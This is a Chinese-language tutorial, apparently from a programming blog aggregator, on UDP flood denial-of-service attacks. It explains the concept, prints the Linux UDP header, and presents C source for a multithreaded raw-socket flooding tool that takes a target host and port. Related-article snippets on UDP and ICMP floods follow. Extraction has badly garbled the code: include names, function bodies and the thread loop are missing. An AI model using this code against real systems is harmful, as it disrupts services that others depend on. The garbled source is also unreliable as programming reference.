udp攻擊,又稱udp洪水攻擊或udp淹沒攻擊(英文:udp flood attack)是導致基於主機的服務拒絕攻擊的一種。udp 是一種無連線的協議,而且它不需要用任何程式建立連線來傳輸資料。當受害系統接收到乙個 udp 資料報的時候,它會確定目的埠正在等待中的 應用程式。當它發現該埠中並不存在正在等待的應用程式,它就會產生乙個目的位址無法連線的 icmp資料報傳送給該偽造的源位址。如果向受害者計算機埠傳送了足夠多的 udp 資料報的時候,整個系統就會癱瘓。
下面是udp報文格式:
linux系統中定義的udp報文格式:
#ifndef __netinet_udp_h
#define __netinet_udp_h 1
#include #include /* udp header as specified by rfc 768, august 1980. */
struct udphdr
; struct;};
};/* udp socket options */
#define udp_cork 1 /* never send partially complete segments. */
#define udp_encap 100 /* set the socket to accept
encapsulated packets. */
/* udp encapsulation types */
#define udp_encap_espinudp_non_ike 1 /* draft-ietf-ipsec-nat-t-ike-00/01 */
#define udp_encap_espinudp 2 /* draft-ietf-ipsec-udp-encaps-06 */
#define udp_encap_l2tpinudp 3 /* rfc2661 */
#define sol_udp 17 /* sockopt level for udp */
#endif /* netinet/udp.h */
接觸了前面的例項後,編寫udp報文是很簡單的,下面是例項**:
//udp攻擊
//使用方法:./udp hostname destport
#include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include //最多執行緒數
#define maxchild 60
//目的ip位址
struct sockaddr_in dest;
static int proto_udp=-1;
static int alive=-1;
int rawsock;
//訊號處理函式,設定退出變數alive
void dos_sig(int signo)
//計算校驗和
unsigned short checksum(unsigned char *buf,int len)
if(len) //若len的長度不是偶數
sum+=*(unsigned char *)cbuf; //用最後乙個位元組補齊
//防溢位處理
sum=(sum>>16)+(sum & 0xffff);
sum+=(sum>>16);
return ~sum;
}void dos_udp (int port)
void *dos_fun (void *port)
return null;
}int main(int argc,char **argv)
port=atoi(argv[2]);
protocol=getprotobyname(protoname);
proto_udp=protocol->p_proto;
dest.sin_addr.s_addr = inet_addr(argv[1]);
if(dest.sin_addr.s_addr == inaddr_none)
char str[30];
// printf("host:%s\n",inet_ntop(host->h_addrtype,host->h_addr,str,30));
struct in_addr in;
memcpy(&in.s_addr,host->h_addr_list[0],sizeof(in.s_addr));
//printf("ip:%s\n",inet_ntoa(in));
dest.sin_addr=in;
}printf("ip:%s\n",inet_ntoa(dest.sin_addr));
// 建立原始socket
rawsock = socket (af_inet, sock_raw, proto_udp);
if (rawsock < 0)
// 設定ip選項,自己構建ip報頭部
setsockopt (rawsock,ipproto_ip, ip_hdrincl, &on, sizeof(on));
//建立多個執行緒協同工作
for(int i=0; i
結果抓包:
Linux網路程式設計之UDP洪水攻擊
1.概述 udp攻擊向目標主機的udp埠傳送大量的udp報文,造成目標主機的埠堵塞,達到攻擊的目的。建立多執行緒,利用原始套接字封裝udp與ip的首部,然後傳送udp報文,攻擊目標主機.2.udp攻擊例項 include include include include include include...
Linux網路程式設計 ICMP洪水攻擊
一 icmp洪水攻擊的原理 icmp flood 是一種在ping基礎上形成的,但是用ping程式很少能造成目標機宕機的問題,這裡邊最大的問題是提高處理的速度,icmp洪水攻擊主要有以下3種方式。1 直接洪水攻擊 這樣做需要本地主機的頻寬與目標主機之間頻寬進行比拼,可以採用多執行緒的方法一次性得傳送...
linux網路程式設計 udp
udp udp收發 udp 協議不需要建立連線,類似於傳送簡訊,因此 udp 的程式設計方式比 tcp 更加簡單。udp 有其自己特有的接受與傳送資料的函式 socket af inet,sock dgram,0 建立socket bind socket fd,struct sockaddr ser...